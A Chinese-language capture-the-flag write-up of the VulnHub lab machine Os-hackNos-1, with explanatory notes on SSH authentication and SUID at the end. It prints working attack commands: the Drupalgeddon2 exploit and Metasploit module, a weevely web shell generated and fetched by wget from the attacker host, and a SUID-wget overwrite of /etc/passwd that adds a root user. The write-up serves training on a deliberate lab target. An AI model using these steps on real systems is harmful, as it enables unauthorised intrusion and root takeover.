Vulnhub 靶场 Os-hackNos WP

About Os-hackNos

描述

  • Difficulty : Easy to Intermediate
  • Flag : 2 Flag first user And second root
  • Learning : exploit | Web Application | Enumeration | Privilege Escalation
  • Website : www.hackNos.com
  • mail : contact@hackNos.com

下载地址

Os-hackNos-1.ova (Size: 827 MB)

屏幕截图

image.png

环境搭建

下载好ova镜像文件后直接导入Virtual Box中,将USB设备关闭,把网络链接🔗模式改成Host-Only(出于安全原因),官方警告如下:

Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. Before you download, please read our FAQs sections dealing with the dangers of running unknown VMs and our suggestions for "protecting yourself and your network. If you understand the risks, please download!

同时,将Kali Linux攻击机的网络链接模式也改成Host-Only,保证两台主机处于同一网段下。

信息收集

主机发现

首先查看一下攻击机Kali Linux的ip地址,从返回结果得到ip地址为:10.0.2.15

root@kali:~# ifconfig 
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.0.2.15  netmask 255.255.255.0  broadcast 10.0.2.255
        inet6 fe80::a00:27ff:fe7c:8e8e  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:7c:8e:8e  txqueuelen 1000  (Ethernet)
        RX packets 262425  bytes 40563341 (38.6 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 402574  bytes 31287087 (29.8 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 157  bytes 11287 (11.0 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 157  bytes 11287 (11.0 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

然后使用nmap扫描同网段下的存活主机,命令如下:

nmap -sn 10.0.2.0/24

经过扫描,在同网段下还发现了ip地址为10.0.2.4的存活主机,不难推断就是我们的靶机。

QJBsx0.png

Kali Linux:10.0.2.15
Os-hackNos-1:10.0.2.4

端口扫描

拿到靶机的ip地址之后,使用nmap扫描探测靶机的开放端口,命令如下:

nmap -sV -p- 10.0.2.4

经过端口扫描之后,发现目标主机开放了22和80端口。

QJDleU.png

目录扫描

访问80端口查看,发现80端口运行了http服务,但是没有其他有价值的利用信息。于是使用dirb对80端口进行目录扫描,命令如下:

dirb http://10.0.2.4

经过目录扫描发现了目标主机存在以下目录/文件:

http://10.0.2.4/index.html
http://10.0.2.4/server-status
http://10.0.2.4/drupal/
http://10.0.2.4/drupal/index.php
http://10.0.2.4/drupal/misc/                                    
http://10.0.2.4/drupal/modules/                                 
http://10.0.2.4/drupal/profiles/    
http://10.0.2.4/drupal/robots.txt
http://10.0.2.4/drupal/scripts/                                 
http://10.0.2.4/drupal/sites/                                   
http://10.0.2.4/drupal/themes/    
http://10.0.2.4/drupal/web.config 
http://10.0.2.4/drupal/xmlrpc.php 

QJroDK.png

访问一下:http://10.0.2.4/drupal/,发现目标主机运行了drupal服务,然后使用whatweb工具确定一下drupal的版本,大版本号为drupal 7。

QJsnbT.png

漏洞发现

使用Google搜索github上公开的drupal漏洞的相关exp,搜索结果如下:

QJ69hQ.png

这里我们使用第二个exp,该exp针对Drupal 8.5或以下版本有效,执行成功后返回一个php的shell。

漏洞利用

获取exp

首先在github上下载该exp,命令如下:

git clone https://github.com/dreadlocked/Drupalgeddon2.git

在运行该exp前,需要预装依赖包highline

gem install highline

执行exp

./drupalgeddon2.rb http://10.0.2.4/drupal

QJ2zKs.png

可以看到我们成功的获取到了shell

查看权限和用户

接下来,我们查看一下当前shell的权限。发现是www-data权限。

hackNos>> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

然后查看一下存在的用户,可以看到除了root和www-data用户之外还有一个普通权限用户james

hackNos>> cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
james:x:1000:1000:james,,,:/home/james:/bin/bash

权限提升

生成木马

之后,使用weevely生成小马,然后将小马上传至靶机

#kali生成小马
weevely generate cmd ./xiaoma.php
#kali开启HTTP服务
python -m SimpleHTTPServer
#上传小马至靶机
wget http://10.0.2.15:8000/xiaoma.php

QJfWCT.png

QJfX8O.png

weevely连接小马

weevely http://10.0.2.4/drupal/xiaoma.php cmd

QJh6Qe.png

Get No.1 Flag

之后浏览用户目录,在/home/james目录下发现了user.txt,也就是第一个flag

QJ5NU1.png


在user.txt中,最后有一串MD5-HASH字符串,猜测可能是什么密码,解密一下,失败。

bae11ce4f67af91fa58576c1da2aad4b

QJTlgf.png

浏览网站目录

然后浏览一下网站目录,在/var/www/html目录下发现了一个alexander.txt文件,查看一下发现了一串base64编码,解密后得到brainfuck加密后的字符串,然后再进行brainfuck解密拿到密码。

QJ7Ow4.png

QJ7TS0.png

image-20191206161140424

james:Hacker@4514

切换用户

拿到james的密码后尝试切换用户,但是没有tty终端和密码请求程序,不能切换用户。

www-data@hackNos:/var/www/html $ su james
su: must be run from a terminal
www-data@hackNos:/var/www/html $ sudo su
sudo: no tty present and no askpass program specified

SUID提权

既然不能切换用户,我们就提个权看看吧。首先检查一下哪些命令有suid权限,有suid权限的命令可以以文件拥有者的权限执行。

www-data@hackNos:/var/www/html $ audit_suidsgid -only-suid /
+---------------------------------------------+
| /usr/lib/dbus-1.0/dbus-daemon-launch-helper |
| /usr/lib/openssh/ssh-keysign                |
| /usr/lib/i386-linux-gnu/lxc/lxc-user-nic    |
| /usr/lib/eject/dmcrypt-get-device           |
| /usr/lib/snapd/snap-confine                 |
| /usr/lib/policykit-1/polkit-agent-helper-1  |
| /usr/bin/pkexec                             |
| /usr/bin/at                                 |
| /usr/bin/newgidmap                          |
| /usr/bin/gpasswd                            |
| /usr/bin/sudo                               |
| /usr/bin/newgrp                             |
| /usr/bin/newuidmap                          |
| /usr/bin/wget                               |
| /usr/bin/passwd                             |
| /usr/bin/chsh                               |
| /usr/bin/chfn                               |
| /bin/ping6                                  |
| /bin/umount                                 |
| /bin/ntfs-3g                                |
| /bin/mount                                  |
| /bin/ping                                   |
| /bin/su                                     |
| /bin/fusermount                             |
+---------------------------------------------+

或者使用下面的命令查找既为root用户,也拥有SUID权限的程序;

find / -user root -perm -4000 -print 2>/dev/null

经过上面的查询,我们发现wget命令可以用普通用户以root权限执行,那么我们就可以利用它修改passwd文件,加入root权限用户。

生成密码哈希

www-data@hackNos:/var/www/html $ openssl passwd -1 -salt salt test
$1$salt$No6gqynaE4urT3jScs91F/

下载passwd文件

file_download passwd /root/passwd

写入特权用户

echo 'test:$1$salt$No6gqynaE4urT3jScs91F/:0:0::/root/:/bin/bash' >> passwd

替换passwd文件

使用wget -O命令替代靶机原来的passwd文件(suid提权意义所在)

wget http://10.0.2.15:8000/passwd -O passwd

查看一下是否存在写入的test用户

www-data@hackNos:/etc $ tail -1 passwd
test:$1$salt$No6gqynaE4urT3jScs91F/:0:0::/root/:/bin/bash

切换用户

www-data@hackNos:/etc $ su test
su: must be run from a terminal

哦吼,难顶。这里需要一个标准shell,因为PHPshell无法执行交互行为,使用su命令会请求密码输入(askpass)

这里直接使用meterpreter即可。

meterpreter

root@kali:~# msfconsole 
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2 
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 10.0.2.4
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set targeturi /drupal
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run

QJxPdf.png

然后使用python获取标准shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

Get No.2 Flag

获取标准shell之后,切换test用户,即为root权限。然后在/root目录下发现了root.txt,即为第二个flag,至此整个实验完成。

QYFUII.png

总结

SSH 认证过程

简要过程如下

  • Client端向Server端发起SSH连接请求。
  • Server端向Client端发起版本协商。
  • 协商结束后Server端发送Host Key公钥 Server Key公钥,随机数等信息。到这里所有通信是不加密的。
  • Client端返回确认信息,同时附带用公钥加密过的一个随机数,用于双方计算Session Key。
  • 进入认证阶段。从此以后所有通信均加密。
  • 认证成功后,进入交互阶段。

Linux 特殊权限 SUID

SUID

当 s 出现在文件拥有者的 x 权限上时,就被称为 SETUID BITS 或 SETUID ,其特点如下:

  • SUID 权限仅对二进制可执行文件有效
  • 如果执行者对于该二进制可执行文件具有 x 的权限,执行者将具有该文件的所有者的权限
  • 本权限仅在执行该二进制可执行文件的过程中有效

我们来看 tester 用户是如何利用 SUID 权限完成密码修改的:

  1. test 用户对于 /usr/bin/passwd 这个程序具有执行权限,因此可以执行 passwd 程序
  2. passwd 程序的所有者为 root
  3. test 用户执行 passwd 程序的过程中会暂时获得 root 权限
  4. 因此 test 用户在执行 passwd 程序的过程中可以修改 /etc/shadow 文件

但是如果由 test 用户执行 cat 命令去读取 /etc/shadow 文件确是不行的,原因很清楚,test 用户没有读 /etc/shadow 文件的权限,同时 cat 程序也没有被设置 SUID。

参考文章

https://mp.weixin.qq.com/s/xpM2aUGwDH_beipuvtZQeg

https://www.cnblogs.com/sparkdev/p/9651622.html

posted @ 2019-12-06 17:23  𝓢𝓷1𝓹𝓮𝓻/  阅读(1316)  评论(0编辑  收藏  举报